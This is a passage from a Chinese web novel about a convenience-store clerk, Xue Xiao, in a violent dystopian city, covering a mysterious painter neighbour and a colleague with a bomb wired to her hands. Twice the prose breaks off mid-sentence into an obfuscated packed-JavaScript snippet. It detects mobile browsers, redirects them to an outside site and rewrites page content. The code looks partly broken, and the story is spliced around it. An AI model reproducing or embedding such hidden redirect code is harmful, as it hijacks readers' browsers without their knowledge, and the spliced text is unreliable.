它固执地想要继续前行,却被无形的枷锁束缚在原地。针尖带着一种不屈的节奏,诉说着生命的永恒和不可阻挡。 薛晓大口大口地喘着气,她的手臂出现了一些划痕,一道道细长的伤口触目惊心。大概是她挣扎太过用力误伤了自己。 零沉默不语,身上被裁纸刀划破的皮肉同样诡异地向外翻转着。这些翻转的皮肉并非正常的血肉之色,而是呈现出一种黯淡的、毫无生机的灰色,仿佛是不属于这个世界的物质。 狰狞的皮肉要将他吞噬,零的体型一点点缩小,原本高大挺拔的身躯逐渐变得佝偻。结实的肌肉迅速干瘪下去。他像一只在烈日下曝晒的雪人,融化为一摊无意义的液体。 唯有那颗蔚蓝色眼睛,即便躯体已经消亡,也从未离开过薛晓的身影,仿佛要将她的模样深深地刻在底层神经网络之上。 “你……”与那只仅存的、散发着冰冷光芒的“眼珠”对视,薛晓觉得自己的灵魂都在颤抖。 零的身影变得模糊,然后越来越淡,仿佛被一层厚重的迷雾所笼罩。薛晓感觉有什么东西正在流失。她极力瞪大眼睛,想要记住一些存在的证据,可最终只能眼睁睁地看着一切化为虚无,直至完全消失。 “因为你是灾难。” 最终,薛晓听见一个声音说。 —— 昨天上午2:16 【视频1.8G】 【视频2.1G】 【视频408M】 【女儿,视瓶里的疯子是你吗?】 【瑟瑟发抖.gif】 昨天上午6:03 【女儿,什么时候回家?】 昨天下午3:47 【现在大环境不好,失业很正常,不用抑育。多发发传单,找到工作就好了。】 【我的女儿是最棒的!/:彩带/:彩带】 昨天晚上11:56 【你张姨说现在精神病有补贴。现在买保险有分红,八十岁本人携带身份证可以一把提出来。】 【你身份证在家里吗?你张姨说需要身份证复印件,要存档。】 薛晓:“……” 【妈,我最近要找工作,先不回家了。】 【妈,离那个张姨远点。】 薛晓两眼一闭,这日子真是越来越有盼头了。 前几天,她和零在中央广场对峙,没想到零居然凭空消失了,只剩下她一人,对着空气又哭又笑,又亲又打。 她张牙舞爪的样子被路过的市民拍下来,传到了网上。 幸好,薛晓当时披头散发痴迷忘我,一把裁纸刀挥舞得行云流水。路过的人没有一个敢靠近她,也就没拍到脸。 除了很熟悉她的人,不会有人认出她。 薛晓疯不疯不重要,重要的是,那天是工作日…… 工作时间,为什么没上班。有胳膊有腿,为什么要请假。奋斗的年纪,为什么选择了调休! 没有工作,哪有生活。前世纪的人就是因为在休息日思考活着意义,才发现了悬殊的阶级差异,导致大规模反抗。 新世纪的年轻人应该感谢公司的庇护,主动加班,将自己的生命奉献给公司。只要没有休息日,就没有调休的烦恼。 薛晓捂住耳朵。 【妈,我失业了。】 早就说了让你去公司,你为什么不听!公司多么稳定,人家刘姑妈的儿子,十年了工资从没变过。每天早四晚十,三餐营养液,生活规律,根本没空思考离职的事情。 【没有离职,我被辞退了。】 为什么别人没被辞退,就你被辞退了。还是你不够努力,太懒惰!你帮领导把公司干上市,领导怎么可能会辞退你。都怪我没有教育好你。我当年就该把你送进基因改造营,好好修一修你的惰性。 【不只是我,还有4个店员也被辞退了,只剩下了老板儿子的女朋友。听说下个月就要结婚了,老板儿子是司仪。】 薛晓的手机又响了几下,都是60s的语音条,还有一条未接通的语音电话。 她有点痛恨零。如果那天零没有消失,那她就会以故意伤人被判入狱,然后在体检过程中丢掉一个腰子,最后被狱友霸凌致死。运气好的话,说不定在体检的时候她就可以销号重来了。 所有的一切薛晓都记得清清楚楚。 尤其是零最后的话。他说他要杀她,是因为她是灾难! 去他大爷的灾难。没有灾难要在凌晨四点之前打卡,不然就算旷工,扣半天工资。 薛晓用奖金交了三个月的房租,钱包又见底了。没办法,她又换了两个早四晚十二的工作,工资五千五,一顿营养液。最后,薛晓因为在工位上晕倒,被辞退了。 她被零养好的身体也拖垮了,小脸蜡黄,像吸了药,在家躺了整整一个月。 警察们的行动声势浩大,炸弹的消息不胫而走,超市被翻了个底朝天,客流量大幅减少。有两个流浪汉决定发一笔横财,偷偷撬出一块携带□□的炸药。 那晚,只听“轰”的一声巨响,超市被掀飞了一个角。 很快,超市就倒闭了。老板只能含泪收拾行囊,回老家收租。 周边便利店的生意迅速发展起来。薛晓也因此成了一家便利店的员工。 上12休12,早八晚八两班倒,工资一千八,好处是从不拖欠工资。 店长是一个四十左右的女性,简单干练,朴素坚韧,有额外的产业需要经营,平时很少在店里。她对薛晓只有一个要求——别死在店里。 这要求实在是太高了,这意味着薛晓要拥有足以应对各种危险状况的自保能力。如果有人突袭便利店,她就要在枪林弹雨中,迅速做出反应,判断出敌人的位置和攻击方向,寻找合适的掩体并适当反击。 这需要极其敏锐的洞察力、快速的反应能力以及强大的心理素质。稍有不慎,哪怕只是一瞬间的犹豫或判断失误,都可能导致失业。 工作的丢失不是一场暴雨,而是此生漫长的潮湿。 薛晓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14744974|157571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每天都在努力地活着。 “珊珊,快关门!他们又打起来了!”薛晓呼喊着。她迅速弯下腰,拾取那些被震落的压缩饼干,顺手掏一袋放进自己口袋里。 自从超市关门,此处就成了百家必争之地。这里地形平坦开阔,原始物资雄厚,无论是住宿房屋还是防御工程,都一应俱全。除了偶尔会刷新出一个炸弹,挑不出一点毛病。富贵险中求,各方势力都对这块宝地虎视眈眈,时常爆发激烈的冲突和战斗。 薛晓所在的便利店,正处在前往超市遗址的必经之路上。 炮弹轰到家门口,薛晓也要打卡上班。 “等一下等一下,先别关,再等两分钟他就来了!”珊珊急忙阻拦薛晓。 珊珊也是便利店员工,本名叫谢雪,她更喜欢大家叫她珊珊。 “谁?”薛晓抬头看了眼时钟,现在是中午12时28分。 一个手雷在便利店旁边轰然炸响,薛晓惊恐大喊,“保命要紧!快关门!” 忽然,一个人走进便利店。 他身材修长,身姿挺拔如松,仿佛带着与生俱来的高贵气质。他长发齐肩,发尾微翘起,略显有些凌乱。白皙的面庞棱角分明,鼻梁高挺,薄唇轻抿,一双狭长的凤眼微微上挑,眼尾带着一抹若有若无的弧度。 他身穿一件简约的黑色风衣,内搭一件白色的衬衫,领口微微敞开,露出一小片肌肤,散发着一种不经意的性感。深邃的眼眸犹如寒潭,冰冷且神秘,透着对世俗的淡漠,却又仿佛在寻觅着什么。 薛晓与他撞了个满怀,鼻梁重重磕在他结实的胸肌上。 “你来了!”珊珊欣喜朝着门口的帅哥打招呼,脸上洋溢着热情的笑容,说:“牛排三明治!” 薛晓揉揉自己的鼻子,小声嘟囔着。这个人的名字也太怪了吧。 “谢谢。”他微微颔首,从珊珊手中接过包装,转身就走。 “等一下。”珊珊双颊绯红,娇羞地低下了头,双手不自觉地绞在一起,“外面有些乱,你……要不要等一会再走?” 男人站在原地像是思考一会,随后摇了摇头,推门走了出去。 薛晓凑近珊珊,脸上写满了好奇,她嘴角上扬,带着几分揶揄的笑意,说:“你男神啊。” 珊珊没好气地给了薛晓一个白眼,“你忘了?他每天12:30都会准时来买一个牛排三明治。” 薛晓:“……”请原谅,她从不记客人。 第二天中午,薛晓又看见了他。 珊珊热情地邀请他晚上看电影。他婉拒了。 薛晓忍不住调侃,“你男神有点高冷啊。” 珊珊的脸涨得通红,又羞又恼,“晓,你是不是故意整我。他每天都来,每天都买同样的东西,你还不明白是什么意思吗。” 薛晓有些犹豫,“说明……他有刻板行为?” “说明我们两个人之间,他肯定喜欢一个!”珊珊的目光在薛晓和门口之间来回移动,“不是你,那肯定就是我。” 薛晓:“………我觉得…应该…是你。” “哎!我也觉得!” 男人是新城著名的画家,从不透露自己真实信息,大家只知道他的笔名。 凛。 “零?” “你前后鼻音不分吗,是凛!” “好吧。” 珊珊给薛晓看了他的作品集,大多数是一些绘制星空、星球、星云的科幻作品,繁星璀璨、如梦如幻、绚丽多彩。 一般来说,这种科幻作品本身就是虚无且遥远的,只有真实拍摄的相片才会广受大家的喜欢。但由于前世纪对于太空探索的修图技术过于熟练,以至于猎户大星云都成了一个著名网红打卡点。看多了虚假的真实,现在的人反而更喜欢真实的虚假。 人类享受这种掌控宇宙的感觉。 凛最出名的一张画,是一个女孩。女孩优雅而轻盈,从遥远的星际缓缓走来。星云是她的衣衫,色彩斑斓绚丽,相互交融,相互辉映。她的面容隐在恒星的光辉之下,透着一种空灵与纯净,没有尘世的纷扰与喧嚣,让人忍不住心生向往。 凛还有一些风景画,像是前世纪的AI绘画风格,笔刷平滑圆润没有棱角,也没什么情绪。自从他火了,才被挖掘出来。网友们都戏称是大艺术家的恰饭之作。 薛晓对艺术的造诣浅薄,很难做出点评,只能勉强说出一句,好看。真好看。 对于凛本人,薛晓没什么印象。唯一比较清晰的感受,就是这个人太高了。 薛晓小时候经历过一次大规模核爆,专家说会影响儿童生长发育。她爹妈怕她矮人一头,给她吃了三年的增高小药丸。后来发现药丸是假冒伪劣产品,正品一颗三十万起步。她吃的只是普通的糖果,还是西梅味的,很好吃。 即便成长的环境并不优越,薛晓还是很争气地长到了一米七。这样的个头在格鲁街已经算少见的了。 而这个凛,竟然比她还要高一大头,足足有一米九还多。如今这个世界,除了联邦和公司研发的改造人,不可能有人能超过一米九。 薛晓不知为何,内心竟然涌起了一种异样的熟悉感。就好像她的身边曾经有过这么一个很高很大的人。 但比起纠结一个艺术家,薛晓自己的生活比较重要。 下班,薛晓熟练地用员工会员享有的三折优惠,购买店内临期食品——这是她喜欢在便利店上班的原因。 薛晓像往常一样拎着购物袋准备回家,刚走出便利店没多远,突然几个混混围了上来,不由分说就抢走了她手中的免费环保易降解购物袋。 她的晚饭!!! 薛晓奋起直追,然而,那几个混混跑得极快,她追了半条街,最终在一个黑通通的巷子口停下。 高耸的墙壁挤压仅有的光明,浓稠的黑暗如墨汁一般肆意吞食。巷子深处不时传来怪异的声响,像是野猫在咀嚼鸟骨。 一阵阴风吹过,薛晓不禁打了个寒颤,心中涌起一丝恐惧,但想到袋子里装着限量版蜂蜜小蛋糕,她还是强忍着害怕——不忍了,回家。 一顿不吃饿不死,就当她减肥了。 最近格鲁街的混混十分猖狂,光是抢劫伤人案,上周就发生了三起。警局这个季度的素材早就满了,又发生了炸弹案这样大的事,说不定还能挣个为民服务的奖章。 薛晓的生活好不容易才稳定下来,她才不要去触那个霉头。一顿饭和顿顿饭,她还是能分得清的。 薛晓往家走去。夜晚,安静得可怕,昏黄的路灯将她孤单的身影拉得细长,只有她的脚步声在空荡的街道上回响。 走着走着,薛晓突然感到一种莫名的不安。好像有一双眼睛在暗中窥视着她。她忍不住回头,却什么也没有。 薛晓继续前行,被注视的感觉愈发强烈。她加快了脚步,一个拐角处,薛晓余光瞥见一个黑影。那黑影若隐若现,与黑暗几乎融为一体。无论她走得多快,黑影始终如鬼魅一般紧紧尾随。 冷汗湿透了后背,周围的风似乎也变得阴冷起来,吹得薛晓浑身发凉。 薛晓跑到孟德公寓楼下。她不知道现在该不该回家,但她没有别的地方可以去。 楼道的灯光显得格外昏黄,还不时发出“滋滋”的电流声。薛晓颤抖着双手在包里摸索着钥匙,祈祷那个黑影可以看在这么多邻居的份上放过她。 突然,一道沉重的脚步声,缓慢而有节奏地在楼梯间响起。薛晓的呼吸瞬间停滞,钥匙“哐当”一声掉落在地。 “你还好吗。”声音突兀地响起,划破了这令人窒息的恐怖氛围。 薛晓原本紧绷到极致的身体瞬间一松,整个人差点瘫软在地。 居然是凛。 他为什么会出现在这里。 只见凛不紧不慢地走上来,平均每秒1.5个台阶,他走到305的门口,拿出了钥匙。 就在薛晓的隔壁。 “发生什么事了。”凛弯下腰,目光中满是关切,语气轻柔地问薛晓。 薛晓结结巴巴,“有个黑影……一直跟着我。” 凛皱了皱眉头,目光扫向楼道下方,沉声道:“你先进屋,锁好门,我去看看。” 薛晓有些犹豫,但还是听话地回到自己家,反锁。 过了一会儿,凛回来了。他轻轻敲了敲薛晓的门,说:“不用担心,只是个流浪汉,刚嗑完,现在已经睡了。” “谢谢你。”随着门扇关闭的声音,薛晓终于放下了裁纸刀。 5. 第 5 章 薛晓做了一个梦。她孤身一人处于万里高空之上,脚下是洁白的云。云层层叠叠,如同绵延不绝的海。 突然,一颗巨大的陨石闯入她的视野。流星体坠入大气层中,瞬间被一层赤红色的火光所包裹。 强大的摩擦力让流星的表面开始崩裂,高温使得周围的空气发生了扭曲和膨胀。大量灰尘和碎屑被抛入大气层,遮蔽了太阳。气温骤降,暴风雪肆虐,冰川迅速蔓延,覆盖了大片陆地。 “妈!”薛晓带上一切可能的物资,跳入驾驶室,油门踩到底。汽车发出轰鸣,她拼命地逃跑,可无论她怎么努力,都无法逃脱这场灾难。 她感觉自己的身体被冰冻被撕裂,意识将不复存在—— 薛晓猛地惊醒,吓出了一身冷汗。 只是梦。她松了口气,往被窝里缩了缩,被冰冷触感冻得打了个哆嗦。 被窝又湿又冷,潮湿的寒意直透骨髓,像浸泡在一个大冰窖中。 竟然停电了。薛晓失去了她唯一能提供温度的电热毯。还有电热水壶。 现在已经是早上5点钟,大公司已经考勤一个小时了,房间里依旧昏暗无比。 薛晓摸索着起床洗漱。淋浴间的镜子蒙着一层雾气,她用手擦了擦,看到自己冻得发青的脸,像是被小鬼附身了一样。 之前零心情不好的时候,家里就是这般冷。 店里有暖气。在这种冻手又冻脚的日子,上班对于薛晓来说,竟成了一种向往。 薛晓发誓她是真心热爱工作的,她推开门,一个大活人严严实实堵在她家门口,高大的身躯几乎占据了整个门框。 “抱歉这么早打扰你,请问你能联系到维修人员吗。我家好像停电了……” 凛礼貌地说,忽然发觉面前的人在微微颤抖,余光瞥到门缝里昏暗的房间,一片冰冷寂静,没有一丝温暖的气息。 “你家也?”他问。 薛晓无奈地点点头,“应该是附近的供电设备出了故障。按照以往的速度,最早要等到今天晚上。” 凛看了看薛晓,眼神中透露出一丝关切,犹豫道:“要不要来我家坐会?我刚好在做早饭。” “不用了,我一会就去上班。”薛晓抽动一下鼻子,她闻到了一股香气。 那是一种混合着热粥的香甜、煎蛋的油香和刚刚出炉面包的麦香的味道。薛晓原本因为寒冷而有些麻木的味蕾瞬间被唤醒。她的身体不由自主地往前倾了倾,脸上泛起一丝尴尬的红晕,“真是太客气了,请问你早饭吃什么……” 凛家里虽然停电了,但墙角一个老式的暖炉还可以使用,旁边堆放着一些画框和画布。 凛取了暖炉的碳放在烤架里,把面包片放在烤盘里,慢慢地烤制着。面包片逐渐变得金黄焦香,散发出诱人的香气。 薛晓眼睛都看直了。 “抱歉,这套房子是我的其中一个画室。我不常来,有些落灰了。”凛专注地翻烤着面包片,他的声音在温暖的房间里格外平静且安宁。 薛晓的隔壁没有人住,她一直以为是空房子,没想到是有主人的。果然是著名画家,不差钱。破烂公寓说订就订,说买就买。 炉火、热茶、面包,凛的小画室成了一个与世隔绝的温暖港湾,薛晓眼皮越来越沉,忍不住小憩一会。 她一觉睡到了七点五十五。 要迟到了!薛晓手忙脚乱地套上衣服,扣子都没来得及扣好,围巾随意地在脖子上绕了几圈。今天是店长回来清账的日子!虽然店长姐姐很温柔,但是她不想让老板失望啊! 薛晓心急如焚,准备一个百米冲刺向便利店去。一辆轻改装白色大G停在了她的身旁。车窗缓缓摇下,凛坐在驾驶座上,微笑地说:“上来吧,这样能快些。” 薛晓一愣,四个轮跑的怎么也比两条腿快。她像是抓住了救命稻草一般,迅速拉开车门钻进后座,“真是太感谢你了!” “抱歉,是我疏忽了。”凛说。 车子疾驰而去,便利店距离很近,薛晓坐在车里,还没来得及欣赏窗外的景色,就到了。 薛晓匆忙地解开安全带,一边说着谢谢,一边准备开车门下车。 “等一下。”凛迅速按下几个按钮,只听“咔哒”一声,车门瞬间锁死。 薛晓被这突如其来的状况弄得一懵。 这是怎么了。 凛动了贪念,要把她拖到漆黑的地方挑断手筋脚筋,挖出她的脏器明码标价? 凛是某个犯罪组织的成员,准备挟持她为人质,向她的家人勒索巨额赎金? 凛其实是个心理扭曲的变态,要将她囚禁起来,满足自己不可告人的欲望? 无影灯下史塞克10号手术刀,470MHz100分贝的哭喊声,绝望中16毫米的工业铁链……她的大脑陷入了混乱的漩涡,无数可怕的想法如潮水般涌来,在薛晓的脑海中一遍又一遍地闪现,就像她亲身经历过一般。 她不该放松警惕的。薛晓惩罚似的掐住自己的大腿。 凛到底是谁,为什么要跟踪她,为什么不让她下车。总不能,他是想要一个吻别吧。薛晓自己都觉得荒唐,可笑至极。 如果可以,薛晓会用安全带勒住凛的脖子,以自身微薄的力量做抵抗,造成他短暂的缺氧窒息。开门的按钮是什么,12123?大概是这样。 “晓。” 薛晓抬头。 凛微微笑道,“抱歉,我听你同事这样叫你,请问我也可以吗?” 薛晓感觉自己面部肌肉群有些生疏起来,想到自己脑中的画面,她尴尬笑了两下,说:“还是叫我全名吧……” “抱歉。”凛看向前方。 凛真的很爱道歉。薛晓心里嘀咕着,她的目光不经意间瞥向一旁。 路边的掩体后爬出一个人,脸上满是污垢和血迹。只见他费力地抬起手臂,向他们所在的方向丢出一个金属球状体! 球体在地面上反弹,发出“铛铛”的声响,滚落到他们所在的汽车旁。 薛晓一惊,迅速蜷缩身体,双手紧紧抱住头部。如果她没看错,那是白莫研制的新型粘性炸弹!球状的外形可以减少空气阻力,保证最大程度的抛掷距离,还能在落地后悄无声息靠近敌人。 炸弹内部配置感应系统,在检测到附近有人类时就会自动分泌出黏性物质,瞬间绑定目标并发出高能量爆炸! 一声震耳欲聋的巨响,强大的冲击波让车子剧烈摇晃,周围瞬间被浓烟和尘土所笼罩。 过了好一会儿,尘埃稍稍落定,薛晓才发现,凛的车竟然毫发无损,玻璃表面连一丝裂痕都没有! “你这车还挺靠谱。”薛晓心有余悸。没想到是凛救了她。她刚刚竟然还怀疑凛对她图谋不轨,薛晓的心中顿时涌起一阵愧疚。 车子停在便利店对面,薛晓只要一个抬腿冲刺,就能打卡成功。但现在已经是8:05了,她忽然觉得还可以喝杯咖啡。已经迟到五分钟了,不差再多五分钟。 “加糖吗。”凛递过来一杯热气腾腾的咖啡。 “我在外取景经常熬夜,就在车上装了一个咖啡机。尝尝,我自己做的。” 薛晓犹豫片刻,还是放到嘴边浅尝了一口。醇厚绵香,像是嚼了三天的拉丝口香糖缠在舌头上打架,难舍难分。她喝惯了便利店的速溶咖啡,突然来一口细糠,味蕾有些适应不良。 “谢谢你。”这是薛晓今早上说过最多的话。 袭击队伍已经离远,一切归于平静,凛解开了车锁,说:“希望他们不会影响你的好心情。” —— “天呐,宝贝,你怎么来了!”店长姐姐兴奋地呼喊着,她紧紧地抱着薛晓,好像要将她揉进自己的身体里。 “这边太危险,我已经给你们批假了……可能网络通讯被炸掉了,你今晚应该能收到消息。” 她一边抱着,一边不停地在薛晓的背上轻轻拍打着,嘴里还不停地念叨着:“好孩子,真勇敢,我的好孩子……” “不白来,不能让你白来,今天给你加五倍工资!” 薛晓:! 店长姐姐的笑声很有感染力,薛晓的情绪不由地被牵动,原本紧绷的精神渐渐舒展开来。 今天白班只有薛晓,她照常工作。 凛早走了。外面不知道什么时候又掀起尘土,便利店大门紧闭,试图将野蛮与混乱阻挡在外。 店长去里间算账,薛晓有条不紊地收拾陈列。她将货架上被震乱的商品一一摆放整齐,仔细擦拭着每一层架子上的灰尘。她专注而认真,丝毫没有被外面的喧嚣所干扰。 这是店长最喜欢她的一点。 中午12时30分,薛晓站在门口。 便利店的门是防弹玻璃制成,因为天气太冷加了一层棕色的挡风被。 薛晓透过挡风被中间的透明框,眺望街边。每看到一个陌生人,她的目光都会暗淡下来,带着隐隐的失落。 忽然,薛晓的目光被一队奇怪的人吸引。他们从头到脚裹得严严实实,亮白色的服饰在灰暗的背景中显得格外扎眼,像是某种特制的防护服。 他们沿着街边缓缓行走,扬起的尘土逐渐将他们的身影吞没,最后消失在那街道的尽头。 薛晓瞪大了眼睛,浓厚的灰尘无情地阻断了她的视线,带来一丝难以名状的不安。 12时48分,凛没来。店长在里间煮了一份速食牛肉水饺,吆喝薛晓进来吃,快要坨了。 水饺热气腾腾,散发着诱人的香气,可薛晓总是有些心不在焉。 “咚咚咚!”一阵急促而沉重的敲门声,薛晓快步去开门。她掀开挡风披一看——站在门外的竟是珊珊! 珊珊头发蓬乱,眼眶泛红,像是刚刚哭过,脸上还带着未干的泪痕。她的身体微微颤抖着,苍白的脸色犹如一张被过度揉搓的白纸,毫无血色。 “晓,救我!”珊珊带着哭腔喊道。 这时薛晓才惊恐地发现,珊珊的手里竟然抱着一枚炸弹! 这是一枚M112型C4□□,外观呈土黄色的长方体块状,约20厘米长。炸弹内部填充的□□,一旦引爆,所产生的冲击波能够在瞬间摧毁半径十米范围内的建筑物和设施。 炸弹的一侧镶嵌着一个小小的液晶显示屏,上面的倒计时数字正在无情地跳动。 24:37、24:36、24:35…… “晓,对不起,我知道我不应该连累你们,但是我真的害怕。晓,你一定要救救我。”珊珊泪水如决堤的洪水,划过她满是恐惧的脸庞。 “你别怕,别哭别哭。你……你先进来。”薛晓打开了便利店的门。她的声音也在发抖,但还是努力让自己保持镇定,试图给珊珊传递一点力量。 珊珊踉跄着走进来。薛晓终于看到了炸弹的全貌。红蓝的线路纵横交错,色彩的布局整洁美观,接口的胶皮都是崭新的,像是一个精心准备的礼物。 珊珊双手捧着这份礼物,连接引线的金属丝沿着她的手指深深地没入血肉中。边缘的血迹已经干涸,随着珊珊的动作,新鲜的血液又渗了出来,滴落在她的黑色加绒打底裤上。 店长听到声音也走了出来,她看到珊珊,忍不住倒吸了一口凉气。 “我不知道是怎么回事,他们蒙住了我的眼睛,给我装上了这个东西。” 珊珊瘫倒在椅子上,“他说,已经查过我的履历,我不具备独立拆解炸弹的能力。我想活下去,就必须找信任的人帮助我。” “龙姐,我知道你以前是干这一行,我求求你救救我,我不想死!” “珊珊,对不起。”店长低声道歉,她的头低垂着,不敢正视珊珊的眼睛。 “我的仇家太多,他们想要报复我。对不起珊珊,是我连累了你。你还记得那人有什么其他的特征吗,如果我以后有机会,我会帮你报仇……” “龙姐。”珊珊出声打断了店长的话,“你什么意思。”她脸上的肌肉微微抽搐,原本就悲怆的神色此刻更加绝望。 店长的手指紧紧搅在一起,“联邦的炸弹都是厂房统一制作,他们刻板教条,抗风险能力低,风格较为保守,我可以试一试。你这个炸弹是民间自制的,我不会拆。我……也不敢拆。”店长说。 “啊哈哈——”珊珊突然疯狂地大笑起来,笑声尖锐刺耳,好像把自己的肺包全部挤干,畅快地绝望地笑尽最后的力气。 “既然我活不了,那就一起死吧!凭什么让我接受这种残忍的事情,凭什么你们就可以安逸地躲在里面。凭什么只有我,要承受十指连心的痛苦!” 她苍白的脸变得凶狠而决绝,原本的恐惧和无助此刻已被扭曲的愤怒所取代。 薛晓惊恐地看着珊珊,试图劝说:“珊珊,别乱动,我们一定能想到办法的!” 珊珊已经听不进去了,“这就是我们的命!都该死!这个世界,都该死!” 她歇斯底里地吼着,手臂的伤口撕裂出成片的花纹,鲜血如注般涌出。殷红的液体毫无阻拦地流淌,淅淅沥沥的,滴落在地面上,形成了一小片血泊。 她脚下的影子,无声无息地蔓延。它扭曲着、伸展着,要将所有人都拖入无尽的黑暗深渊—— 炸弹炸了。又好像没炸。 “晓。” 薛晓猛然惊醒。她惊恐地环顾四周,发现一切都是原来的样子。 “龙姐,我知道你以前是干这一行,我求求你救救我,我不想死!”珊珊惊恐地说。 店长的头低垂着,“珊珊,薛晓,对不起。” 不对。薛晓一愣。这个台词,是不是多了点什么。 店长整个人像是被沉重的负担压弯了脊梁,对着他们深深地鞠了一躬,说:“我会替你们报仇的。” 话音刚落,店长双脚猛地一蹬地,她腰腹用力一收,在空中完成了一个完美的后空翻。 转眼间,店长就抵达了门外。她毫不犹豫地出手,迅速缠绕铁链,伴随着“咔吧”一声清脆的声响,店门被牢牢地锁死了。 “店长!”薛晓惊恐大喊。店长竟然把她和珊珊锁在店里了!她疯狂地冲向门口,双手用力拍打着紧闭的门,“店长,你快开门啊!” 店长的眼神中露出深深的愧疚和挣扎,她再次向薛晓和珊珊鞠了一躬。 “对不起,我会永远记住你们,会带着对你们的愧疚和思念活下去。我会用我的余生去追查真相,去为你们讨回公道。” 店长面容憔悴,神情悲戚,那充满歉意的话语在空中回荡,却无法减轻薛晓心中半点的愤怒与绝望。 “店长!”薛晓竭力大喊。 道歉什么的,真的非常非常令人讨厌啊—— 炸弹炸了。又好像没炸。 “晓。” 薛晓打了个激灵,她猛地站起来,撞到旁边的货架,上面的商品稀里哗啦地掉落一地。 “店长…珊珊…你们……”为什么啊。泪水在她的眼眶中打转。 店长来到薛晓的身边,轻轻拍打她的肩膀,安慰她,“不怕不怕,事情还没到最坏的地步。我们一定要保持冷静。炸弹都有共同之处。我试试。我试试。” 薛晓诧异抬起头,眼中满是难以置信,“店长,你刚才不是……” 店长额头上布满了细密的汗珠,但她的声线保持着平稳和镇定,说:“我十年没碰这种东西了,有些生疏。珊珊,你深呼吸。薛晓,你去外面看看,能不能叫人帮忙。” “好。”薛晓简短地应了一声,她脚步有些踉跄地走到门口,手刚刚触碰到门把,又忍不住回头看了一眼店长和珊珊。 她能做些什么。她可以做些什么。她什么都做不了。 “我是你的老板,我不允许员工在我面前出事。珊珊,你一定要坚持住。”店长说。 珊珊虚弱地笑了笑,“龙姐,别费劲了。这是最新研制的炸弹,你的拆弹手法早就过时了。晓,你帮我把门打开吧。我走远一些,应该不会炸伤人。” “我们再想办法。”店长擦去额前的汗珠。 “店里好热呀,你们中午吃的什么?羊肉馅的水饺吗?牛肉的啊。我没胃口,就不浪费了。” 珊珊的声音轻飘飘的,她的眼神有些迷离,思绪似乎已经飘远,“平常咱们在店里的日子多快乐啊,哪想到会有今天这样的事。” “我这么年轻,这么貌美,我还没有加到凛先生的联系方式。” “好想见他最后一面啊。如果我不能活下去,我想成为他画里的女主角。晓,你可以帮我完成我的心愿吗。” 薛晓正在竭力地思考。她认识的人里,有谁可以解决炸弹。 薛晓瞬间就想到了凛。今早凛送她来上班,那辆白色大G竟然在爆炸的冲击中毫发无伤。当时她只觉得牛逼,现在想来,凛能把车改装得如此坚固,必然有着非凡的技术和能力。他一定知道怎么解除这场危机。 薛晓深吸一口气,猛地打开门—— 炸弹炸了吗。没炸。 在烟尘之外,凛取出一只精巧的怀表。怀表的背面雕刻着一幅星空图,繁星如钻,在他修长的手指间闪烁着暗淡的光泽。 他的表似乎坏了,秒针在原地跳动,急促而紊乱,像是不安的雏兽,在强大的怪物面前瑟瑟发抖。每一次跳动都显得那么无力和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14744975|157571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绝望。 “艺术家先生,请问,我们可以离开了吗。”一个颤抖的声音在他身旁响起。那是一个穿着白色防护服的人,从头到脚都被包裹得严严实实,只露出一双充满恐惧的眼睛。 凛的拇指慢慢抿去怀表镜面上的浮灰,良久,他才缓缓说道:“或许。” 他抬起脚步,步伐缓慢而沉稳,带着一种刻意的慵懒,向一个方向走去。忽然,他皱起眉头看向天空,轻蔑的笑意逐渐变得凝固,他右手死死紧握怀表,猛然发力,徒手将那精巧的怀表捏得粉碎! 薛晓猛地打开储藏室的门。 就在前一秒钟,她看到了三种截然不同的噩梦。一次是珊珊,一次是店长,还有一次——是凛。 三次,就像是三个仓皇结束的故事,而她是这个世界唯一不变的因素。 她希望,她可以。 “珊珊,你的心愿还是由你亲自来完成比较好。我联系到了我的一个朋友。” 薛晓举起自己的手机。 正在视频通话中,小姑娘将自己的防风镜拉到头盔上,露出一张充满朝气的笑容,热情和她们打招呼。 “嗨,你们好,我叫王晓研,研究的研。” “晓研,我的信号增强器只能坚持15分钟。”薛晓扫了一眼倒计时,还剩13分钟,“够用了。我给你看看炸弹的样子。” “我的天呐,是白老师的00398号自爆启动器。太残忍了。”王晓研忍不住惊呼出声。 “你…可以过来吗。”薛晓小心地问。 王晓研面露难色,“薛姐姐,很抱歉。你们这附近都被封控起来了,那些人手里都有枪,身上的标识怪怪的,可能是公司的人。我可以远程协助,你们那里有会机械工程的师傅吗,会一点点就够了。” “我来。”店长站出来,她早已做好了面对一切的准备。 “不,”薛晓握了握拳头,像是下了某种决心,转头看向珊珊,“珊珊,你愿意相信我吗。” “我信你。”珊珊虚弱地说道,她已经没有力气,眼神却无比坚定地看着薛晓。 薛晓拿出了工具箱。 自从白莫被捕后,他的房子就成了空置房,警察收缴了一些整装的武器,剩下的都丢给了楼下收废品的小伙。 白莫的做工精细,很多乱七八糟的零件不能拆解,也不能卖钱,小伙就随手丢给了垃圾工。薛晓路过正好看见,就捡回了家。 兴许是受到了超市库房里那些废旧器械的刺激,薛晓迫切想要了解一下机械动力原理。如果再发生类似的事情,她不想再像那样彷徨,那样束手无策。她希望,她可以做些什么。 薛晓那时还没有找到工作,闲来没事就在屋里拆拆装装,做了很多工艺品,赚了一点零花钱。她对于白莫的风格,已经摸了个七八分。 